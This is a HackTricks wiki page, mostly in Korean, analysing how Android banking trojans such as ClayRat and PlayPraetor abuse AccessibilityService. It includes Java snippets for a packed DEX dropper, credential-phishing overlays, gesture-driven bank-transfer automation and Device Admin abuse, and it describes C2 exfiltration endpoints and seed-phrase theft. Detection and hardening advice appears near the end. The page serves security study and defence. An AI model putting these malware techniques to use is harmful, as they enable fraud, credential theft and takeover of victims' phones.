Android Accessibility Service ์•…์šฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

AccessibilityService๋Š” ์žฅ์• ๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ Android ์žฅ์น˜๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค. ๋ถˆํ–‰ํžˆ๋„ ๋™์ผํ•œ ๊ฐ•๋ ฅํ•œ ์ž๋™ํ™” APIs (global navigation, text input, gesture dispatch, overlay windowsโ€ฆ)๋Š” ์•…์„ฑ์ฝ”๋“œ์— ์˜ํ•ด ๋ฌด๊ธฐํ™”๋˜์–ด ํœด๋Œ€ํฐ์— ๋Œ€ํ•œ complete remote control์„ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ without root privileges.

์ตœ์‹  Android banking Trojans ๋ฐ Remote-Access-Trojans (RATs)์ธ PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda ๋“ฑ์€ ๋™์ผํ•œ ์ˆ˜๋ฒ•์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

  1. ์‚ฌํšŒ๊ณตํ•™ ๊ธฐ๋ฒ•์œผ๋กœ ํ”ผํ•ด์ž๊ฐ€ ์•…์„ฑ ์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์œ ๋„ํ•œ๋‹ค (๊ถŒํ•œ BIND_ACCESSIBILITY_SERVICE๋Š” โ€œhigh-riskโ€œ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ๋ช…์‹œ์ ์ธ ์‚ฌ์šฉ์ž ๋™์ž‘์„ ํ•„์š”๋กœ ํ•œ๋‹ค).
  2. ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ํ™œ์šฉํ•˜์—ฌ
  • ํ™”๋ฉด์— ํ‘œ์‹œ๋˜๋Š” ๋ชจ๋“  UI ์ด๋ฒคํŠธ์™€ ํ…์ŠคํŠธ๋ฅผ ์บก์ฒ˜ํ•œ๋‹ค,
  • ํ•ฉ์„ฑ ์ œ์Šค์ฒ˜(dispatchGesture)์™€ ๊ธ€๋กœ๋ฒŒ ์•ก์…˜(performGlobalAction)์„ ์ฃผ์ž…ํ•ด ์šด์˜์ž๊ฐ€ ์›ํ•˜๋Š” ๋ชจ๋“  ์ž‘์—…์„ ์ž๋™ํ™”ํ•œ๋‹ค,
  • TYPE_ACCESSIBILITY_OVERLAY ์œˆ๋„์šฐ ํƒ€์ž…์„ ์‚ฌ์šฉํ•ด ์ •์ƒ ์•ฑ ์œ„์— ์ „์ฒด ํ™”๋ฉด ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๊ทธ๋ฆฐ๋‹ค (SYSTEM_ALERT_WINDOW ํ”„๋กฌํ”„ํŠธ ์—†์Œ!),
  • ํ”ผํ•ด์ž๋ฅผ ๋Œ€์‹ ํ•ด ์‹œ์Šคํ…œ ๋Œ€ํ™”์ƒ์ž๋ฅผ ํด๋ฆญํ•˜์—ฌ ์ถ”๊ฐ€ ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ์„ ์กฐ์šฉํžˆ ๋ถ€์—ฌํ•œ๋‹ค.
  1. ์‚ฌ์šฉ์ž๊ฐ€ ์ „ํ˜€ ์ด์ƒํ•ด ๋ณด์ด์ง€ ์•Š๋Š” ํ™”๋ฉด์„ ๋ณด๋Š” ๋™์•ˆ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ **On-Device-Fraud (ODF)**๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค.

Packed Accessibility droppers

ClayRat v3.0.8๋Š” Accessibility RAT์„ assets/ ์•„๋ž˜์— ์ˆจ๊ฒจ์ง„ ๋‹จ๊ณ„์  ํŽ˜์ด๋กœ๋“œ์™€ ๊ฒฐํ•ฉํ•ฉ๋‹ˆ๋‹ค. ๋Ÿฐํƒ€์ž„์— ํ˜ธ์ŠคํŠธ APK๋Š”:

  1. assets/*.dat์—์„œ ์•”ํ˜ธํ™”๋œ blob์„ ์ŠคํŠธ๋ฆฌ๋ฐํ•œ๋‹ค.
  2. Java/Kotlin ๋กœ๋”์— ์ž„๋ฒ ๋“œ๋œ ํ•˜๋“œ์ฝ”๋”ฉ๋œ AES/CBC ํ‚ค + IV๋กœ ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•œ๋‹ค.
  3. ํ‰๋ฌธ DEX๋ฅผ ์•ฑ์˜ private dir์— ๊ธฐ๋กํ•˜๊ณ  DexClassLoader๋ฅผ ํ†ตํ•ด ๋กœ๋“œํ•˜์—ฌ ์‹ค์ œ ์ŠคํŒŒ์ด์›จ์–ด ํด๋ž˜์Šค๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ๋งŒ ๋…ธ์ถœ๋˜๊ฒŒ ํ•œ๋‹ค.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

์ด ํŒจํ‚น ํŒจํ„ด (ATT&CK T1406.002)์€ dropper๊ฐ€ ์‹คํ–‰๋  ๋•Œ๊นŒ์ง€ Accessibility ๋ชจ๋“ˆ์„ ๋””์Šคํฌ์— ๋‘์ง€ ์•Š์•„ static signature scans์™€ Play Protect๋ฅผ ์šฐํšŒํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ์œ„ํ—˜ํ•œ ๊ถŒํ•œ์„ ์ด๋ฏธ ๋ถ€์—ฌํ•  ๋•Œ๊นŒ์ง€ ํƒ์ง€๋˜์ง€ ์•Š๊ฒŒ ํ•œ๋‹ค.


๊ถŒํ•œ ์š”์ฒญ

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

๋™๋ด‰๋œ XML์€ ๊ฐ€์งœ ๋Œ€ํ™”์ƒ์ž๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ณด์ผ์ง€ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

์›๊ฒฉ UI ์ž๋™ํ™” ๊ธฐ๋ณธ ์š”์†Œ

Accessibility service ์ž๋™ํ™” ๊ณจ๊ฒฉ ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS โ€ฆ private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

์ด ๋‘ ๊ฐœ์˜ API๋งŒ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š”:
* ํ™”๋ฉด ์ž ๊ธˆ์„ ํ•ด์ œํ•˜๊ณ , ์€ํ–‰ ์•ฑ์„ ์—ด์–ด UI ํŠธ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•œ ๋’ค ์ด์ฒด ํผ์„ ์ œ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.
* ๋– ์˜ค๋ฅด๋Š” ๋ชจ๋“  ๊ถŒํ•œ ๋Œ€ํ™”์ƒ์ž๋ฅผ ์ˆ˜๋ฝํ•  ์ˆ˜ ์žˆ๋‹ค.
* ์ถ”๊ฐ€ APK๋ฅผ Play Store intent๋ฅผ ํ†ตํ•ด ์„ค์น˜/์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ๋‹ค.

---

## ์•…์šฉ ํŒจํ„ด

### 1. Overlay Phishing (Credential Harvesting)
A transparent or opaque `WebView` is added to the window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // โฌ… bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

The victim types credentials into the fake form while the background app receives the same gestures โ€“ no suspicious โ€œdraw over other appsโ€ prompt is ever shown.

Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.

ClayRat exposes this capability with the show_block_screen / hide_block_screen commands that download overlay templates from the C2. Operators can switch layouts on the fly to:

  • Black out the panel so the victim assumes the handset is off or frozen while automated gestures disable Play Protect or grant more permissions.
  • Display fake system update / battery optimization panels that justify why the device is โ€œbusyโ€ while background automation continues.
  • Show an interactive PIN pad overlay that mirrors the system lock screenโ€”the malware captures every digit and streams it to the operator as soon as a 4โ€‘digit code is entered.

Because TYPE_ACCESSIBILITY_OVERLAY windows never raise the SYSTEM_ALERT_WINDOW permission prompt, the victim only sees the decoy UI while the RAT keeps interacting with the real apps underneath.

2. ๋””๋ฐ”์ด์Šค ๋‚ด ์‚ฌ๊ธฐ ์ž๋™ํ™”

Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init, update, alert_arr, report_list, โ€ฆ). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.

3. ํ™”๋ฉด ์ŠคํŠธ๋ฆฌ๋ฐ ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง

ClayRat upgrades the usual MediaProjection trick into a remote desktop stack:

  1. turbo_screen triggers the MediaProjection consent dialog; the Accessibility service clicks โ€œStart nowโ€ so the victim never intervenes.
  2. With the resulting MediaProjection token it creates a VirtualDisplay backed by an ImageReader, keeps a ForegroundService alive, and drains frames on worker threads.
  3. Frames are JPEG/PNG encoded according to the operator-supplied set_quality parameter (defaults to 60 when missing) and shipped over an HTTPโ†’WebSocket upgrade advertising the custom ClayRemoteDesktop user-agent.
  4. start_desktop / stop_desktop manage the capture threads while screen_tap, screen_swipe, input_text, press_home, press_back and press_recents replay gestures against the live framebuffer.

The result is a VNC-like feed delivered entirely through sanctioned APIsโ€”no root or kernel exploitsโ€”yet it hands the attacker live situational awareness with millisecond latency.

4. ์ž ๊ธˆํ™”๋ฉด ์ธ์ฆ ์ •๋ณด ํƒˆ์ทจ ๋ฐ ์ž๋™ ์ž ๊ธˆํ•ด์ œ

ClayRat subscribes to TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED events emitted by com.android.systemui (Keyguard). It reconstructs whatever guard is active:

  • PIN โ€“ watches keypad button presses until the locker reports completion.
  • Password โ€“ concatenates strings seen in the focused password field for each AccessibilityEvent.
  • Pattern โ€“ records the ordered node indices inferred from gesture coordinates across the 3ร—3 grid.

Secrets plus metadata (lock type + timestamp) are serialized into SharedPreferences under lock_password_storage. When the operator pushes auto_unlock, the service wakes the device with unlock_device / screen_on, replays the stored digits or gestures through dispatchGesture, and silently bypasses the keyguard so subsequent ODF workflows can continue.

5. ์•Œ๋ฆผ ํ”ผ์‹ฑ ๋ฐ ์ˆ˜์ง‘

A companion Notification Listener turns the shade into a phishing surface:

  • get_push_notifications dumps every currently visible notification, including OTP / MFA messages.
  • The notifications command toggles a notifications_enabled flag so each future onNotificationPosted() payload is streamed to the C2 in real time.
  • send_push_notification lets operators craft fake, interactive notifications that impersonate banking or chat apps; any text the victim submits is parsed as credentials and exfiltrated immediately.

Because Accessibility can open/dismiss the notification shade programmatically, this method harvests secrets without touching the targeted apps.

6. ํ†ตํ™” ๋ฐ SMS ๋ช…๋ น ์ฑ„๋„

After coercing the user into setting the RAT as the default SMS app, the following commands provide complete modem control:

  • send_sms and retransmishion send arbitrary or replayed messages to attacker-controlled numbers.
  • messsms iterates over the entire contacts database to spam phishing links for worm-like propagation.
  • make_call initiates voice calls that support social-engineering workflows.
  • get_sms_list / get_sms and get_call_log / get_calls dump inboxes and call history so MFA codes or call metadata can be abused instantly.

Combined with Accessibility-driven UI navigation, ClayRat can receive an OTP via notification/SMS and immediately input it inside the target banking or enterprise app.

7. ํƒ์ง€, ์ˆ˜์ง‘ ๋ฐ ํ”„๋ก์‹œ

Additional ClayRat commands map the environment and keep C2 resilient:

  • get_apps / get_apps_list enumerate installed packages (ATT&CK T1418).
  • get_device_info reports model, OS version and battery state (T1426).
  • get_cam / get_camera capture front-camera stills, while get_keylogger_data serializes lock PINs plus passwords, view descriptions and hints scraped from sensitive fields.
  • get_proxy_data fetches a proxy WebSocket URL, appends the unique device ID and spins a job that tunnels HTTP/HTTPS over the same bidirectional channel (T1481.002 / T1646).

PlayPraetor โ€“ ๋ช…๋ น ๋ฐ ์ œ์–ด ์›Œํฌํ”Œ๋กœ์šฐ

  1. HTTP(S) heartbeat โ€“ iterate over a hard-coded list until one domain answers POST /app/searchPackageName with the active C2.
  2. WebSocket (port 8282) โ€“ bidirectional JSON commands:
  • update โ€“ push new conf/APKs
  • alert_arr โ€“ configure overlay templates
  • report_list โ€“ send list of targeted package names
  • heartbeat_web โ€“ keep-alive
  1. RTMP (port 1935) โ€“ live screen/video streaming.
  2. REST exfiltration โ€“
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


์•…์„ฑ Accessibility ์„œ๋น„์Šค ํƒ์ง€

  • adb shell settings get secure enabled_accessibility_services
  • Settings โ†’ Accessibility โ†’ Downloaded services โ€“ look for apps that are not from Google Play.
  • MDM / EMM solutions can enforce ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) to block sideloaded services.
  • Analyse running services:
adb shell dumpsys accessibility | grep "Accessibility Service"

์•ฑ ๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•œ ๊ฐ•ํ™” ๊ถŒ๊ณ 

  • Mark sensitive views with android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) with FLAG_SECURE to prevent tap/overlay hijacking.
  • Detect overlays by polling WindowManager.getDefaultDisplay().getFlags() or the ViewRootImpl API.
  • Refuse to operate when Settings.canDrawOverlays() or a non-trusted Accessibility service is active.

ATS ์ž๋™ํ™” ์น˜ํŠธ์‹œํŠธ (Accessibility-driven)

Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:

ATS ์ž๋™ํ™”๋ฅผ ์œ„ํ•œ ํ—ฌํผ ๋ฉ”์„œ๋“œ ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

์˜ˆ์‹œ ํ๋ฆ„ (์ฒด์ฝ”์–ด โ†’ ์˜์–ด ๋ ˆ์ด๋ธ”):

  • โ€œNovรก platbaโ€ (์ƒˆ ๊ฒฐ์ œ) โ†’ ํด๋ฆญ
  • โ€œZadat platbuโ€ (๊ฒฐ์ œ ์ž…๋ ฅ) โ†’ ํด๋ฆญ
  • โ€œNovรฝ pล™รญjemceโ€ (์ƒˆ ์ˆ˜์ทจ์ธ) โ†’ ํด๋ฆญ
  • โ€œDomรกcรญ ฤรญslo รบฤtuโ€ (๊ตญ๋‚ด ๊ณ„์ขŒ๋ฒˆํ˜ธ) โ†’ ํฌ์ปค์Šค ๋ฐ ACTION_SET_TEXT
  • โ€œDalลกรญโ€ (๋‹ค์Œ) โ†’ ํด๋ฆญ โ†’ โ€ฆ โ€œZaplatitโ€ (๊ฒฐ์ œ) โ†’ ํด๋ฆญ โ†’ PIN ์ž…๋ ฅ

Fallback: ํ…์ŠคํŠธ ์กฐํšŒ๊ฐ€ ์ปค์Šคํ…€ ์œ„์ ฏ ๋•Œ๋ฌธ์— ์‹คํŒจํ•  ๋•Œ dispatchGesture์™€ ํ•˜๋“œ์ฝ”๋“œ๋œ ์ขŒํ‘œ ์‚ฌ์šฉ.

๋˜ํ•œ ๊ด€์ฐฐ๋œ ์‚ฌ๋ก€: ์ „์†ก ์ „์— limits UI๋กœ ์ด๋™ํ•ด ์ผ์ผ ํ•œ๋„๋ฅผ ๋Š˜๋ฆฌ๋Š” ๋ฐฉ์‹์œผ๋กœ check_limit ๋ฐ limit ์ „์˜ ์‚ฌ์ „ ๋‹จ๊ณ„ ์ˆ˜ํ–‰.

ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ์œ ์‚ฌ ํ™”๋ฉด ์ŠคํŠธ๋ฆฌ๋ฐ

์ €์ง€์—ฐ ์›๊ฒฉ ์ œ์–ด๋ฅผ ์œ„ํ•ด ์ „์ฒด ๋น„๋””์˜ค ์ŠคํŠธ๋ฆฌ๋ฐ ๋Œ€์‹  ํ˜„์žฌ UI ํŠธ๋ฆฌ์˜ ํ…์ŠคํŠธ ํ‘œํ˜„์„ ๋คํ”„ํ•˜์—ฌ ๋ฐ˜๋ณต์ ์œผ๋กœ C2์— ์ „์†ก.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

์ด๊ฒƒ์€ txt_screen (์ผํšŒ์„ฑ) ๋ฐ screen_live (์—ฐ์†) ๊ฐ™์€ ๋ช…๋ น์˜ ๊ธฐ์ดˆ์ž…๋‹ˆ๋‹ค.

Device Admin ๊ฐ•์ œ ์ˆ˜๋‹จ

Device Admin ๋ฆฌ์‹œ๋ฒ„๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด, ์ด๋Ÿฌํ•œ ํ˜ธ์ถœ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์บก์ฒ˜ํ•˜๊ณ  ์ œ์–ด๋ฅผ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํšŒ๋ฅผ ๋Š˜๋ฆฝ๋‹ˆ๋‹ค:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.

Crypto wallet seed-phrase ์ถ”์ถœ ํŒจํ„ด

MetaMask, Trust Wallet, Blockchain.com and Phantom์—์„œ ๊ด€์ฐฐ๋œ ํ๋ฆ„:

  • ๋„๋‚œ๋œ PIN(overlay/Accessibility๋ฅผ ํ†ตํ•ด ์บก์ฒ˜) ๋˜๋Š” ์ œ๊ณต๋œ wallet password๋กœ ์ž ๊ธˆ ํ•ด์ œ.
  • ์ด๋™: Settings โ†’ Security/Recovery โ†’ Reveal/Show recovery phrase.
  • ํ…์ŠคํŠธ ๋…ธ๋“œ๋ฅผ keyloggingํ•˜๊ฑฐ๋‚˜, secure-screen bypass ๋˜๋Š” ํ…์ŠคํŠธ๊ฐ€ ๊ฐ€๋ ค์ง„ ๊ฒฝ์šฐ screenshot OCR์„ ํ†ตํ•ด ๋ฌธ๊ตฌ๋ฅผ ์ˆ˜์ง‘.
  • ์…€๋ ‰ํ„ฐ ์•ˆ์ •ํ™”๋ฅผ ์œ„ํ•ด ๋‹ค๊ตญ์–ด ๋กœ์ผ€์ผ(EN/RU/CZ/SK)์„ ์ง€์› โ€” ๊ฐ€๋Šฅํ•˜๋ฉด viewIdResourceName์„ ์šฐ์„  ์‚ฌ์šฉํ•˜๊ณ , ์—†์œผ๋ฉด ๋‹ค๊ตญ์–ด ํ…์ŠคํŠธ ๋งค์นญ์œผ๋กœ ํด๋ฐฑ.

NFC-relay ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜

Accessibility/RAT ๋ชจ๋“ˆ์€ 3๋‹จ๊ณ„๋กœ ์ „์šฉ NFC-relay ์•ฑ(e.g., NFSkate)์„ ์„ค์น˜ ๋ฐ ์‹คํ–‰ํ•˜๊ณ , ํ”ผํ•ด์ž๋ฅผ ์นด๋“œ-ํ”„๋ ˆ์  ํŠธ relay ๋‹จ๊ณ„๋กœ ์•ˆ๋‚ดํ•˜๊ธฐ ์œ„ํ•ด overlay ๊ฐ€์ด๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ฐฐ๊ฒฝ ๋ฐ TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ